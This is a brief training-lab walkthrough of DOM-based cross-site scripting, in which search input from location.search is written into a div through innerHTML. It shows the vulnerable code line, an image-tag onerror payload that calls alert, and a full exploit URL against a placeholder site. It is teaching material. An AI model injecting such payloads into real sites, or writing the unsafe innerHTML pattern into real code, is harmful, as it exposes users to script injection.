This lab contains a DOM-based cross-site scripting (XSS) vulnerability in the search blog functionality.
It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
Perform a cross-site scripting attack that calls the alert function.
location.search in the source code.Example from the source code:
element.innerHTML = location.search;
Normal request:
<https://vulnerable-website.com/search?query=test>
→ The word test is reflected back into the page.
Inject malicious payload:
<img src=1 onerror=alert(1)>
Final exploit URL:
<https://vulnerable-website.com/search?query=><img src=1 onerror=alert(1)>